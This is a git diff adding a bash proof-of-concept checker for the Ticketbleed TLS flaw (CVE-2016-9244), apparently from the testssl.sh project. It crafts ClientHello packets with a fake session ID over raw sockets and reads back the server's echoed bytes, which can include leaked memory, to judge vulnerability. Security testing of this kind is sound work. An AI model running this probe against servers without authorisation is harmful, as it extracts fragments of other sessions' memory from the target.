diff options
Diffstat (limited to 'utils/ticketbleed.bash')
-rwxr-xr-x | utils/ticketbleed.bash | 352 |
1 files changed, 352 insertions, 0 deletions
diff --git a/utils/ticketbleed.bash b/utils/ticketbleed.bash new file mode 100755 index 0000000..399700a --- /dev/null +++ b/utils/ticketbleed.bash @@ -0,0 +1,352 @@ +#!/usr/bin/env bash + +# Fast and reliable POC bash socket implementation of ticketbleed (CVE-2016-9244), see also http://ticketbleed.com/ +# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt +# +# sockets inspired by http://blog.chris007.de/?p=238 +# ticketbleed inspired by https://blog.filippo.io/finding-ticketbleed/ +# +###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### + +[[ -z "$1" ]] && echo "IP is missing" && exit 1 + +readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' + +OPENSSL=${OPENSSL:-$(type -p openssl)} +TIMEOUT=${TIMEOUT:-20} + +# insert some hexspeak here :-) +SID="x00,x00,x0B,xAD,xC0,xDE," # don't forget the trailing comma + +NODE="$1" +PORT="${NODE#*:}" +PORT="${PORT-443}" # probably this doesn't make sense +NODE="${NODE%:*}" # strip port if supplied +TLSV=${2:-01} # TLS 1.0=x01 1.1=0x02, 1.2=0x3 +MAXSLEEP=$TIMEOUT +SOCKREPLY="" +COL_WIDTH=32 +DEBUG=${DEBUG:-"false"} +HELLO_READBYTES=${HELLO_READBYTES:-65535} + +dec2hex() { printf "x%02x" "$1"; } +dec2hexB() { + a=$(printf "%04x" "$1") + printf "x%02s, x%02s" "${a:0:2}" "${a:2:2}" +} + +LEN_SID=$(( ${#SID} / 4)) # the real length in bytes +XLEN_SID="$(dec2hex $LEN_SID)" + +red=$(tput setaf 1; tput bold) +green=$(tput bold; tput setaf 2) +lgreen=$(tput setaf 2) +brown=$(tput setaf 3) +blue=$(tput setaf 4) +magenta=$(tput setaf 5) +cyan=$(tput setaf 6) +grey=$(tput setaf 7) +yellow=$(tput setaf 3; tput bold) +normal=$(tput sgr0) + +send_clienthello() { + local -i len_ch=216 # len of clienthello, excluding TLS session ticket and SID (record layer) + local session_tckt_tls="$1" + local -i len_tckt_tls="${#1}" + local xlen_tckt_tls="" + + len_tckt_tls=$(( len_tckt_tls / 4)) + xlen_tckt_tls="$(dec2hex $len_tckt_tls)" + + local len_handshake_record_layer="$(( LEN_SID + len_ch + len_tckt_tls ))" + local xlen_handshake_record_layer="$(dec2hexB "$len_handshake_record_layer")" + local len_handshake_ssl_layer="$(( len_handshake_record_layer + 4 ))" + local xlen_handshake_ssl_layer="$(dec2hexB "$len_handshake_ssl_layer")" + + if $DEBUG; then + echo "len_tckt_tls (hex): $len_tckt_tls ($xlen_tckt_tls)" + echo "SID: $SID" + echo "LEN_SID (XLEN_SID) $LEN_SID ($XLEN_SID)" + echo "len_handshake_record_layer: $len_handshake_record_layer ($xlen_handshake_record_layer)" + echo "len_handshake_ssl_layer: $len_handshake_ssl_layer ($xlen_handshake_ssl_layer)" + echo "session_tckt_tls: $session_tckt_tls" + fi + + client_hello=" +# TLS header (5 bytes) + ,x16, # Content type (x16 for handshake) + x03, x01, # TLS Version + # Length Secure Socket Layer follow: + $xlen_handshake_ssl_layer, +# Handshake header + x01, # Type (x01 for ClientHello) + # Length of client hello follows: + x00, $xlen_handshake_record_layer, + x03, x$TLSV, # TLS Version +# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html + xee, xee, x5b, x90, x9d, x9b, x72, x0b, + xbc, x0c, xbc, x2b, x92, xa8, x48, x97, + xcf, xbd, x39, x04, xcc, x16, x0a, x85, + x03, x90, x9f, x77, x04, x33, xff, xff, + $XLEN_SID, # Session ID length + $SID + x00, x66, # Cipher suites length +# Cipher suites (51 suites) + xc0, x14, xc0, x0a, xc0, x22, xc0, x21, + x00, x39, x00, x38, x00, x88, x00, x87, + xc0, x0f, xc0, x05, x00, x35, x00, x84, + xc0, x12, xc0, x08, xc0, x1c, xc0, x1b, + x00, x16, x00, x13, xc0, x0d, xc0, x03, + x00, x0a, xc0, x13, xc0, x09, xc0, x1f, + xc0, x1e, x00, x33, x00, x32, x00, x9a, + x00, x99, x00, x45, x00, x44, xc0, x0e, + xc0, x04, x00, x2f, x00, x96, x00, x41, + xc0, x11, xc0, x07, xc0, x0c, xc0, x02, + x00, x05, x00, x04, x00, x15, x00, x12, + x00, x09, x00, x14, x00, x11, x00, x08, + x00, x06, x00, x03, x00, xff, + x01, # Compression methods length + x00, # Compression method (x00 for NULL) + x01, x0b, # Extensions length +# Extension: ec_point_formats + x00, x0b, x00, x04, x03, x00, x01, x02, +# Extension: elliptic_curves + x00, x0a, x00, x34, x00, x32, x00, x0e, + x00, x0d, x00, x19, x00, x0b, x00, x0c, + x00, x18, x00, x09, x00, x0a, x00, x16, + x00, x17, x00, x08, x00, x06, x00, x07, + x00, x14, x00, x15, x00, x04, x00, x05, + x00, x12, x00, x13, x00, x01, x00, x02, + x00, x03, x00, x0f, x00, x10, x00, x11, +# Extension: SessionTicket TLS + x00, x23, +# length of SessionTicket TLS + x00, $xlen_tckt_tls, +# Session Ticket + $session_tckt_tls # here we have the comma already +# Extension: Heartbeat + x00, x0f, x00, x01, x01" + + msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n') + socksend "$msg" $TLSV +} + + +parse_hn_port() { + # strip "https", supposed it was supplied additionally + grep -q 'https://' <<< "$NODE" && NODE="$(sed -e 's/https\:\/\///' <<< "$NODE")" + + # strip trailing urlpath + NODE=$(sed -e 's/\/.*$//' <<< "$NODE") + + # determine port, supposed it was supplied additionally + grep -q ':' <<< "$NODE" && PORT=$(sed 's/^.*\://' <<< "$NODE") && NODE=$(sed 's/\:.*$//' <<< "$NODE") +} + +wait_kill(){ + pid=$1 + maxsleep=$2 + while true; do + if ! ps $pid >/dev/null ; then + return 0 # didn't reach maxsleep yet + fi + sleep 1 + maxsleep=$((maxsleep - 1)) + test $maxsleep -eq 0 && break + done # needs to be killed + kill $pid >&2 2>/dev/null + wait $pid 2>/dev/null + return 3 # killed +} + + +socksend() { + local len + + data="$(echo -n $1)" + if "$DEBUG"; then + echo "\"$data\"" + len=$(( $(wc -c <<< "$data") / 4 )) + echo -n "length: $len / " + dec2hexB $len + echo + fi + echo -en "$data" >&5 +} + + +sockread_nonblocking() { + [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2 + ret=0 + + SOCKREPLY="$(dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"')" & + wait_kill $! $maxsleep + ret=$? + echo -n -e "$SOCKREPLY" # this doesn't work as the SOCKREPLY above belngs to a bckgnd process + return $ret +} + +sockread() { + dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"' +} + +fixme(){ + tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0 +} + + +fd_socket(){ + if ! exec 5<> /dev/tcp/$NODE/$PORT; then + echo "$(basename $0): unable to connect to $NODE:$PORT" + exit 2 + fi +} + +close_socket(){ + exec 5<&- + exec 5>&- + return 0 +} + +cleanup() { + close_socket + echo + echo + return 0 +} + + +get_sessticket() { + local sessticket_str + local output + + output="$($OPENSSL s_client -connect $NODE:$PORT </dev/null 2>/dev/null)" + if ! grep -qw CONNECTED <<< "$output"; then + return 1 + else + sessticket_str="$(awk '/TLS session ticket:/,/^$/' <<< "$output" | awk '!/TLS session ticket/')" + sessticket_str="$(sed -e 's/^.* - /x/g' -e 's/ .*$//g' <<< "$sessticket_str" | tr '\n' ',')" + sed -e 's/ /,x/g' -e 's/-/,x/g' <<< "$sessticket_str" + return 0 + fi +} + +#### main + +parse_hn_port "$1" + +early_exit=true +declare -a memory sid_detected +nr_sid_detected=0 + + +# there are different "timeout". Check whether --preserve-status is supported +if type -p timeout &>/dev/null ; then + if timeout --help 2>/dev/null | grep -q 'preserve-status'; then + OPENSSL="timeout --preserve-status $TIMEOUT $OPENSSL" + else + OPENSSL="timeout $TIMEOUT $OPENSSL" + fi +else + echo " binary \"timeout\" not found. Continuing without it" + unset TIMEOUT +fi + + +echo +"$DEBUG" && ( echo ) +echo "##### 1) Connect to determine 1x session ticket TLS" +# attn! neither here nor in the following client hello we do SNI. Assuming this is a vulnebilty of the TLS implementation +SESS_TICKET_TLS="$(get_sessticket)" +if [[ $? -ne 0 ]]; then + echo >&2 + echo -e "$NODE:$PORT ${magenta}not reachable / no TLS${normal}\n " >&2 + exit 0 +fi +[[ "$SESS_TICKET_TLS" == "," ]] && echo -e "${green}OK, not vulnerable${normal}, no session tickets\n" && exit 0 + +trap "cleanup" QUIT EXIT +"$DEBUG" && ( echo; echo ) +echo "##### 2) Sending 1 to 3 ClientHello(s) (TLS version 03,$TLSV) with this ticket and a made up SessionID" + +# we do 3 client hellos, and see whether different memory is returned +for i in 1 2 3; do + fd_socket $PORT + + "$DEBUG" && echo "$i" + send_clienthello "$SESS_TICKET_TLS" + + "$DEBUG" && ( echo; echo ) + [[ "$i" -eq 1 ]] && echo "##### Reading server replies ($HELLO_READBYTES bytes)" && echo + SOCKREPLY=$(sockread $HELLO_READBYTES) + + if "$DEBUG"; then + echo "=============================" + echo "$SOCKREPLY" + echo "=============================" + fi + + if [[ "${SOCKREPLY:0:2}" == "15" ]]; then + echo -n "TLS Alert ${SOCKREPLY:10:4} (TLS version: ${SOCKREPLY:2:4}) -- " + echo "${green}OK, not vulnerable ${normal} (TLS alert)" + break + elif [[ -z "${SOCKREPLY:0:2}" ]]; then + echo "${green}OK, not vulnerable ${normal} (zero reply)" + break + elif [[ "${SOCKREPLY:0:2}" == "16" ]]; then + # we need to look into this as some servers just respond as if nothing happened + early_exit=false + "$DEBUG" && echo -n "Handshake (TLS version: ${SOCKREPLY:2:4}), " + if [[ "${SOCKREPLY:10:6}" == 020000 ]]; then + echo -n " ServerHello $i -- " + else + echo -n " Message type: ${SOCKREPLY:10:6} -- " + fi + sid_input=$(sed -e 's/x//g' -e 's/,//g' <<< "$SID") + sid_detected[i]="${SOCKREPLY:88:32}" + memory[i]="${SOCKREPLY:$((88+ len_sid*2)):$((32 - len_sid*2))}" + if "$DEBUG"; then + echo + echo "TLS version, record layer: ${SOCKREPLY:18:4}" + #echo "Random bytes / timestamp: ${SOCKREPLY:22:64}" + echo "memory: ${memory[i]}" + echo "Session ID: ${sid_detected[i]}" + fi + if grep -q $sid_input <<< "${sid_detected[i]}"; then + #echo -n " (${yellow}Session ID${normal}, ${red}mem returned${normal} --> " + echo -n "${sid_detected[i]}" | sed -e "s/$sid_input/${grey}$sid_input${normal}${blue}/g" + echo "${normal})" + else + echo -n "not expected server reply but likely not vulnerable" + fi + else + echo "TLS record ${SOCKREPLY:0:2} replied" + echo -n "Strange server reply, pls report" + break + fi +done +echo + +if ! "$early_exit"; then + # here we test the replies if a TLS server hello was received >1x + for i in 1 2 3 ; do + if grep -q $sid_input <<< "${sid_detected[i]}"; then + # was our faked TLS SID returned? + nr_sid_detected=$((nr_sid_detected + 1)) + fi + done + if [[ $nr_sid_detected -eq 3 ]]; then + if [[ ${memory[1]} != ${memory[2]} ]] && [[ ${memory[2]} != ${memory[3]} ]]; then + echo "${red}VULNERABLE!${normal}, real memory returned" + else + echo "${green}not vulnerable ${normal} (same memory fragments returned)" + fi + else + echo "results ($nr_sid_detected of 3) are kind of fishy. If it persist, let Dirk know" + fi +fi + +exit 0 + +# vim:ts=5:sw=5:expandtab + |